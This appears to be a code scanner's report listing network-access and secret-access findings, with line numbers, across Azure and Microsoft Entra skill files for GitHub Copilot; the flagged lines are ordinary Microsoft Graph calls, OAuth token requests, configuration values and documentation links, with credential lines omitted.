| Private Endpoint | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/privateendpoints?pivots=deployment-language-bicep) | [PE overview](https://learn.microsoft.com/azure/private-link/private-endpoint-overview) | [
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/networking-core.md
- Network accessline 15
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsof - Network accessline 16
|----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview]( - Network accessline 17
| Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](https://learn.microsoft.com/azure/virtual-network/virtual-networks-overview) - Network accessline 18
| Subnet | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks/subnets?pivots=deployment-language-bicep) | [Subnets](https://learn.microsoft.com/azure/virtual-network/virtual-network-manage-subnet) | [ - Network accessline 19
| NSG | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networksecuritygroups?pivots=deployment-language-bicep) | [NSG overview](https://learn.microsoft.com/azure/virtual-network/network-security-groups-overview) - Network accessline 20
| Route Table | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/routetables?pivots=deployment-language-bicep) | [Traffic routing](https://learn.microsoft.com/azure/virtual-network/virtual-networks-udr-overview) | - Network accessline 21
| Network Interface | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networkinterfaces?pivots=deployment-language-bicep) | [NIC overview](https://learn.microsoft.com/azure/virtual-network/virtual-network-network- - Network accessline 22
| Public IP | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/publicipaddresses?pivots=deployment-language-bicep) | [Public IP overview](https://learn.microsoft.com/azure/virtual-network/ip-services/public-ip-addr - Network accessline 23
| NAT Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/natgateways?pivots=deployment-language-bicep) | [NAT Gateway overview](https://learn.microsoft.com/azure/nat-gateway/nat-overview) | [Naming rules](h
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/networking-traffic.md
- Network accessline 12
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft - Network accessline 13
|----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](htt - Network accessline 14
| API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](https://learn.microsoft.com/azure/api-management/api-management-key-concepts) | - Network accessline 15
| Application Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/applicationgateways?pivots=deployment-language-bicep) | [App Gateway overview](https://learn.microsoft.com/azure/application-gateway/overview - Network accessline 16
| Front Door | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cdn/profiles?pivots=deployment-language-bicep) | [Front Door overview](https://learn.microsoft.com/azure/frontdoor/front-door-overview) | [Naming rules](https - Network accessline 17
| Load Balancer | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/loadbalancers?pivots=deployment-language-bicep) | [LB overview](https://learn.microsoft.com/azure/load-balancer/load-balancer-overview) | [Naming r
harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/security.md
- Network accessline 10
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyv - Network accessline 11
|----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://l - Network accessline 12
| Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://learn.microsoft.com/azure/key-vault/general/overview) | [Naming rules](https:/ - Network accessline 13
| Managed Identity | [2024-11-30](https://learn.microsoft.com/azure/templates/microsoft.managedidentity/userassignedidentities?pivots=deployment-language-bicep) | [Managed identities](https://learn.microsoft.com/entra/identity/managed-ident
harness/github-copilot/skills/azure-entra-agent-id/SKILL.md
- Network accessline 17
|----------|-------| | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | - Network accessline 18
| Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | | Required role | Agent Identity Developer, Agent Identity Administrator, or Application Administrator | - Network accessline 19
| API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Network accessline 114
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Network accessline 118
GRAPH = "https://graph.microsoft.com/v1.0" - Network accessline 142
"displayName": "My Agent Blueprint", "sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 143
"sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" ], - Network accessline 144
f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 145
], } resp = requests.post( - Network accessline 146
} resp = requests.post( f"{GRAPH}/applications/microsoft.graph.agentIdentityBlueprint", - Network accessline 147
resp = requests.post( - Network accessline 164
sp_body = {"appId": app_id} resp = requests.post( - Network accessline 165
resp = requests.post( - Network accessline 181
"agentIdentityBlueprintId": app_id, "sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 182
"sponsors@odata.bind": [ f"https://graph.microsoft.com/v1.0/users/{user_id}" ], - Network accessline 183
f"https://graph.microsoft.com/v1.0/users/{user_id}" - Network accessline 184
], } resp = requests.post( - Network accessline 185
} resp = requests.post( f"{GRAPH}/servicePrincipals/microsoft.graph.agentIdentity", - Network accessline 186
resp = requests.post( - Network accessline 224
graph_sp = requests.get( - Network accessline 231
requests.post( - Network accessline 249
requests.post( - Network accessline 286
Base URL: `https://graph.microsoft.com/v1.0`. - Network accessline 351
| Resource | URL | |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | - Network accessline 352
|----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai- - Network accessline 353
| Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | - Network accessline 354
| AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-guided-setup | - Network accessline 355
| Microsoft Entra SDK for AgentID | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 356
| Microsoft.Identity.Web.AgentIdentities (.NET) | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.AgentIdentities/README.AgentIdentities.md |
harness/github-copilot/skills/azure-entra-agent-id/references/known-limitations.md
- Network accessline 3
Source: [Microsoft Entra Agent ID — known issues and gaps](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/preview-known-issues) - Network accessline 51
27. **Copilot Studio** — only custom engine agents are supported; Agent IDs are used for channel auth only (not connectors or tools). 28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For - Network accessline 52
28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For .NET use [Microsoft.Identity.Web.AgentIdentities](https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identit - Network accessline 56
Report unlisted issues via [aka.ms/agentidfeedback](https://aka.ms/agentidfeedback).
harness/github-copilot/skills/azure-entra-agent-id/references/oauth2-token-flow.md
- Network accessline 3
Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions) - Network accessline 21
requests.patch( - Network accessline 33
fic_body = { "name": "my-fic-name", "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", - Network accessline 34
"name": "my-fic-name", "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", "subject": mi_principal_id, # The MI's object ID (principalId), NOT client ID - Network accessline 35
"issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0", - Network accessline 37
"audiences": ["api://AzureADTokenExchange"], } requests.post( - Network accessline 38
} requests.post( f"{GRAPH}/applications/{blueprint_obj_id}" - Network accessline 39
requests.post( - Network accessline 62
jwks_client = PyJWKClient( f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys" - Network accessline 63
f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys" - Network accessline 70
algorithms=["RS256"], audience=f"api://{blueprint_app_id}", issuer=f"https://sts.windows.net/{tenant_id}/", - Network accessline 71
audience=f"api://{blueprint_app_id}", issuer=f"https://sts.windows.net/{tenant_id}/", ) - Network accessline 72
issuer=f"https://sts.windows.net/{tenant_id}/", - Network accessline 79
- **`subject`** is the MI's `principalId` (object ID), not its client ID. - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - Network accessline 80
- **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different d - Network accessline 81
- **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - Network accessline 82
- **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different domain, trailing slash). - Network accessline 100
$credential = Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" ` - Network accessline 101
-Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" ` - Network accessline 111
resp = requests.post(
harness/github-copilot/skills/azure-entra-agent-id/references/obo-blueprint-setup.md
- Network accessline 39
}, } requests.patch( - Network accessline 40
} requests.patch( f"{GRAPH}/applications/{blueprint_obj_id}", - Network accessline 41
requests.patch( - Network accessline 63
requests.post( - Network accessline 82
tenant_id=tenant_id, client_id=client_app_id, # Your client app, NOT the Blueprint redirect_uri="http://localhost:8400", - Network accessline 83
client_id=client_app_id, # Your client app, NOT the Blueprint redirect_uri="http://localhost:8400", ) - Network accessline 84
redirect_uri="http://localhost:8400", - Network accessline 89
> If the user token targets `https://graph.microsoft.com` instead of the Blueprint, the OBO exchange returns `AADSTS50013: Assertion failed signature validation`.
harness/github-copilot/skills/azure-entra-agent-id/references/runtime-token-exchange.md
- Network accessline 3
Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions) - Network accessline 8
Step 1: Blueprint credentials + fmi_path → Parent token (aud: api://AzureADTokenExchange) Step 2: Parent token as client_assertion → Graph token (aud: https://graph.microsoft.com) - Network accessline 9
Step 2: Parent token as client_assertion → Graph token (aud: https://graph.microsoft.com) - Network accessline 19
TOKEN_URL = "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" - Access to secretsline 31
[Credential-related source omitted] - Network accessline 34
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 35
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 36
req = urllib.request.Request( - Network accessline 38
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 39
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read())["access_token"] - Network accessline 40
with urllib.request.urlopen(req, timeout=10) as resp: - Access to secretsline 41
[Credential-related source omitted] - Network accessline 47
|-------|-------| | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | - Network accessline 48
| `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | | `sub` | Blueprint SP object ID | - Network accessline 49
| `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | - Access to secretsline 58
[Credential-related source omitted] - Network accessline 86
"client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", "client_assertion": parent_token, "scope": "https://graph.microsoft.com/.default", - Network accessline 87
"client_assertion": parent_token, "scope": "https://graph.microsoft.com/.default", } - Network accessline 88
"scope": "https://graph.microsoft.com/.default", } data = urllib.parse.urlencode(params).encode("utf-8") - Network accessline 89
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 90
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 91
req = urllib.request.Request( - Network accessline 93
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 94
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 95
with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 115
"assertion": user_token, "requested_token_use": "on_behalf_of", "scope": "https://graph.microsoft.com/.default", - Network accessline 116
"requested_token_use": "on_behalf_of", "scope": "https://graph.microsoft.com/.default", } - Network accessline 117
"scope": "https://graph.microsoft.com/.default", } data = urllib.parse.urlencode(params).encode("utf-8") - Network accessline 118
} data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( - Network accessline 119
data = urllib.parse.urlencode(params).encode("utf-8") req = urllib.request.Request( TOKEN_URL.format(tenant=tenant_id), data=data, - Network accessline 120
req = urllib.request.Request( - Network accessline 122
headers={"Content-Type": "application/x-www-form-urlencoded"}, ) with urllib.request.urlopen(req, timeout=10) as resp: - Network accessline 123
) with urllib.request.urlopen(req, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 124
with urllib.request.urlopen(req, timeout=10) as resp:
harness/github-copilot/skills/azure-entra-agent-id/references/sdk-sidecar-deployment.md
- Network accessline 13
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Network accessline 16
def get_agent_token(downstream_api: str = "Graph") -> str: url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}" resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) - Network accessline 17
url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}" resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) resp.raise_for_status() - Network accessline 18
resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30) - Network accessline 22
[Credential-related source omitted] - Network accessline 23
[Credential-related source omitted] - Network accessline 24
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Network accessline 33
url = f"{SIDECAR_URL}/AuthorizationHeader/{downstream_api}" resp = requests.get( url, - Network accessline 34
resp = requests.get( - Network accessline 46
const SIDECAR_URL = process.env.SIDECAR_URL ?? "http://localhost:5000"; - Network accessline 56
const res = await fetch(url.toString()); - Network accessline 71
[Credential-related source omitted] - Network accessline 72
resp = requests.get( - Network accessline 84
[Credential-related source omitted] - Network accessline 85
resp = requests.get( - Network accessline 105
- "5001:5000" environment: - AzureAd__Instance=https://login.microsoftonline.com/ - Network accessline 106
environment: - AzureAd__Instance=https://login.microsoftonline.com/ - AzureAd__TenantId=${TENANT_ID} - Network accessline 107
- AzureAd__Instance=https://login.microsoftonline.com/ - Network accessline 110
- AzureAd__ClientCredentials__0__SourceType=ClientSecret - AzureAd__ClientCredentials__0__ClientSecret=${BLUEPRINT_CLIENT_SECRET} - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/ - Network accessline 111
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 112
- DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/ - Network accessline 113
- DownstreamApis__Graph__Scopes__0=https://graph.microsoft.com/.default - Network accessline 115
- ASPNETCORE_URLS=http://+:5000 - Network accessline 120
- "3000:3000" environment: - SIDECAR_URL=http://sidecar:5000 - Network accessline 121
environment: - SIDECAR_URL=http://sidecar:5000 - AGENT_CLIENT_ID=${AGENT_CLIENT_ID} - Network accessline 122
- SIDECAR_URL=http://sidecar:5000 - Network accessline 147
env: - name: SIDECAR_URL value: "http://localhost:5000" - Network accessline 148
- name: SIDECAR_URL value: "http://localhost:5000" - name: sidecar - Network accessline 149
value: "http://localhost:5000" - Network accessline 166
value: "SignedAssertionFilePath" - name: Kestrel__Endpoints__Http__Url value: "http://127.0.0.1:5000" - Network accessline 167
- name: Kestrel__Endpoints__Http__Url value: "http://127.0.0.1:5000" resources: - Network accessline 168
value: "http://127.0.0.1:5000" resources: requests: { memory: "128Mi", cpu: "100m" } - Network accessline 184
1. **Bind to localhost** — `Kestrel__Endpoints__Http__Url=http://127.0.0.1:5000`
harness/github-copilot/skills/azure-entra-agent-id/references/sdk-sidecar.md
- Network accessline 5
Image: `mcr.microsoft.com/entra-sdk/auth-sidecar:1.0.0-azurelinux3.0-distroless`. See [GitHub releases](https://github.com/AzureAD/microsoft-identity-web/releases) for tags. - Network accessline 48
env: - name: AzureAd__Instance value: "https://login.microsoftonline.com/" - Network accessline 49
- name: AzureAd__Instance value: "https://login.microsoftonline.com/" - name: AzureAd__TenantId - Network accessline 50
value: "https://login.microsoftonline.com/" - Network accessline 82
- name: DownstreamApis__Graph__BaseUrl value: "https://graph.microsoft.com/v1.0/" - Network accessline 83
value: "https://graph.microsoft.com/v1.0/" - Network accessline 84
- name: DownstreamApis__Graph__Scopes__0 value: "https://graph.microsoft.com/.default" - name: DownstreamApis__Graph__RequestAppToken - Network accessline 85
value: "https://graph.microsoft.com/.default" - Network accessline 117
| Resource | URL | |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 118
|----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation | - Network accessline 119
| SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | - Network accessline 120
| Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation | - Network accessline 121
| Configuration | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/configuration | - Network accessline 122
| Endpoints | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/endpoints | - Network accessline 123
| Agent Identities | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/agent-identities | - Network accessline 124
| Security | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/security | - Network accessline 125
| OpenAPI Spec | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.Sidecar/OpenAPI/Microsoft.Identity.Web.AgentID.json |
harness/github-copilot/skills/azure-entra-app-registration/SKILL.md
- Network accessline 67
- **Web Apps**: Add redirect URIs, enable ID tokens if needed - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - Network accessline 68
- **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - **Services**: No redirect URI needed for client credentials flow - Network accessline 69
- **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - Network accessline 199
- [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/) - Network accessline 200
- [OAuth 2.0 and OpenID Connect protocols](https://learn.microsoft.com/entra/identity-platform/v2-protocols) - Network accessline 201
- [MSAL Documentation](https://learn.microsoft.com/entra/msal/) - Network accessline 202
- [Microsoft Graph API](https://learn.microsoft.com/graph/)
harness/github-copilot/skills/azure-entra-app-registration/references/BICEP-EXAMPLE.bicep
- Network accessline 18
@description('Redirect URIs for web application') param webRedirectUris array = [ 'https://localhost:5001/signin-oidc' - Network accessline 19
param webRedirectUris array = [ 'https://localhost:5001/signin-oidc' 'https://myapp.azurewebsites.net/signin-oidc' - Network accessline 20
'https://localhost:5001/signin-oidc' - Network accessline 21
'https://myapp.azurewebsites.net/signin-oidc' - Network accessline 24
@description('Redirect URIs for single-page application') param spaRedirectUris array = [ 'http://localhost:3000' - Network accessline 25
param spaRedirectUris array = [ 'http://localhost:3000' 'https://myapp.azurewebsites.net' - Network accessline 26
'http://localhost:3000' - Network accessline 27
'https://myapp.azurewebsites.net' - Network accessline 53
enableAccessTokenIssuance: false } homePageUrl: 'https://myapp.azurewebsites.net' - Network accessline 54
} homePageUrl: 'https://myapp.azurewebsites.net' logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc' - Network accessline 55
homePageUrl: 'https://myapp.azurewebsites.net' - Network accessline 56
logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc' - Network accessline 65
publicClient: { redirectUris: [ 'http://localhost' - Network accessline 66
redirectUris: [ 'http://localhost' 'myapp://auth' - Network accessline 67
'http://localhost' - Network accessline 68
'myapp://auth' 'https://login.microsoftonline.com/common/oauth2/nativeclient' ] - Network accessline 69
'https://login.microsoftonline.com/common/oauth2/nativeclient' - Network accessline 175
// Information URLs info: { marketingUrl: 'https://myapp.example.com' - Network accessline 176
info: { marketingUrl: 'https://myapp.example.com' privacyStatementUrl: 'https://myapp.example.com/privacy' - Network accessline 177
marketingUrl: 'https://myapp.example.com' - Network accessline 178
privacyStatementUrl: 'https://myapp.example.com/privacy' - Network accessline 179
supportUrl: 'https://myapp.example.com/support' - Network accessline 180
termsOfServiceUrl: 'https://myapp.example.com/terms'
harness/github-copilot/skills/azure-entra-app-registration/references/api-permissions.md
- Network accessline 49
Examples: https://graph.microsoft.com/User.Read - Network accessline 50
https://graph.microsoft.com/User.Read - Network accessline 51
https://graph.microsoft.com/Mail.Send - Network accessline 60
https://graph.microsoft.com/.default - Network accessline 134
1. Visit https://developer.microsoft.com/graph/graph-explorer - Network accessline 140
Visit: https://learn.microsoft.com/en-us/graph/permissions-reference - Network accessline 258
[Credential-related source omitted] - Network accessline 259
[Credential-related source omitted] - Network accessline 334
**Note:** Permission IDs may change. Always verify against the official [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) for the most current values. - Network accessline 338
- [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) - Network accessline 339
- [Permission Types](https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview) - Network accessline 340
- [Admin Consent Workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow) - Network accessline 341
- [Consent Framework](https://learn.microsoft.com/en-us/entra/identity-platform/consent-framework)
harness/github-copilot/skills/azure-entra-app-registration/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/azure-entra-app-registration/references/cli-commands.md
- Network accessline 29
az ad app create \ --display-name "MyWebApp" \ --web-redirect-uris "https://myapp.com/callback" \ - Network accessline 30
--display-name "MyWebApp" \ --web-redirect-uris "https://myapp.com/callback" \ --sign-in-audience "AzureADMyOrg" - Network accessline 31
--web-redirect-uris "https://myapp.com/callback" \ - Network accessline 37
az ad app create \ --display-name "MySpaApp" \ --spa-redirect-uris "http://localhost:3000" \ - Network accessline 38
--display-name "MySpaApp" \ --spa-redirect-uris "http://localhost:3000" \ --sign-in-audience "AzureADMyOrg" - Network accessline 39
--spa-redirect-uris "http://localhost:3000" \ - Network accessline 45
az ad app create \ --display-name "MyDesktopApp" \ --public-client-redirect-uris "http://localhost" \ - Network accessline 46
--display-name "MyDesktopApp" \ --public-client-redirect-uris "http://localhost" \ --sign-in-audience "AzureADMyOrg" - Network accessline 47
--public-client-redirect-uris "http://localhost" \ - Network accessline 53
az ad app create \ --display-name "MyMultiTenantApp" \ --web-redirect-uris "https://myapp.com/callback" \ - Network accessline 54
--display-name "MyMultiTenantApp" \ --web-redirect-uris "https://myapp.com/callback" \ --sign-in-audience "AzureADMultipleOrgs" - Network accessline 55
--web-redirect-uris "https://myapp.com/callback" \ - Network accessline 116
az ad app update --id $APP_ID \ --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth" - Network accessline 117
--web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth" - Network accessline 122
az ad app update --id $APP_ID \ --spa-redirect-uris "http://localhost:3000" "http://localhost:5000" - Network accessline 123
--spa-redirect-uris "http://localhost:3000" "http://localhost:5000" - Network accessline 128
az ad app update --id $APP_ID \ --public-client-redirect-uris "http://localhost" "myapp://auth" - Network accessline 129
--public-client-redirect-uris "http://localhost" "myapp://auth" - Network accessline 364
# Variables APP_NAME="MyApplication" REDIRECT_URI="http://localhost:3000" - Network accessline 366
REDIRECT_URI="http://localhost:3000"
harness/github-copilot/skills/azure-entra-app-registration/references/console-app-example.md
- Network accessline 44
.Create(ClientId) .WithAuthority(AzureCloudInstance.AzurePublic, TenantId) .WithRedirectUri("http://localhost") - Network accessline 45
.WithAuthority(AzureCloudInstance.AzurePublic, TenantId) .WithRedirectUri("http://localhost") .Build(); - Network accessline 46
.WithRedirectUri("http://localhost") - Network accessline 87
var response = await httpClient.GetAsync("https://graph.microsoft.com/v1.0/me"); - Network accessline 139
CLIENT_ID = "YOUR_APPLICATION_CLIENT_ID" TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" - Network accessline 140
TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" SCOPES = ["User.Read"] - Network accessline 141
AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Network accessline 197
response = requests.get( - Network accessline 198
'https://graph.microsoft.com/v1.0/me', - Access to secretsline 226
[Credential-related source omitted] - Access to secretsline 231
[Credential-related source omitted] - Network accessline 268
auth: { clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 269
clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", } - Network accessline 270
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 280
const authCodeUrlParameters = { scopes: scopes, redirectUri: "http://localhost:3000", - Network accessline 281
scopes: scopes, redirectUri: "http://localhost:3000", }; - Network accessline 282
redirectUri: "http://localhost:3000", - Network accessline 308
auth: { clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Network accessline 309
clientId: "YOUR_APPLICATION_CLIENT_ID", authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", clientSecret: "YOUR_CLIENT_SECRET", // From app registration - Network accessline 310
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID", - Access to secretsline 311
[Credential-related source omitted] - Network accessline 317
const clientCredentialRequest = { scopes: ["https://graph.microsoft.com/.default"], - Network accessline 318
scopes: ["https://graph.microsoft.com/.default"], - Network accessline 333
try { const response = await axios.get('https://graph.microsoft.com/v1.0/me', options); - Network accessline 334
const response = await axios.get('https://graph.microsoft.com/v1.0/me', options); - Network accessline 392
- [MSAL Libraries](https://learn.microsoft.com/entra/msal/)
harness/github-copilot/skills/azure-entra-app-registration/references/first-app-registration.md
- Network accessline 16
- Azure subscription (free tier works) - Azure Portal access: https://portal.azure.com - Network accessline 17
- Azure Portal access: https://portal.azure.com - Network accessline 22
1. Open [Azure Portal](https://portal.azure.com) - Network accessline 58
**URI examples:** - Web app: `https://localhost:5001/signin-oidc` - Network accessline 59
- Web app: `https://localhost:5001/signin-oidc` - Network accessline 60
- SPA: `http://localhost:3000` - Network accessline 61
- Console/Desktop: `http://localhost` - Network accessline 63
**For your first app:** Select **"Public client/native"** and enter `http://localhost` - Access to secretsline 168
[Credential-related source omitted] - Network accessline 187
# Interactive login az login --scope "https://graph.microsoft.com/.default" - Network accessline 188
az login --scope "https://graph.microsoft.com/.default" - Network accessline 190
# Get an access token az account get-access-token --resource "https://graph.microsoft.com" - Network accessline 191
az account get-access-token --resource "https://graph.microsoft.com" - Network accessline 213
**Tip:** Once you get the access token, you can use [jwt.ms](https://jwt.ms) to decode it and inspect its claims. - Network accessline 251
- [Microsoft Entra ID Documentation](https://learn.microsoft.com/en-us/entra/identity-platform/)
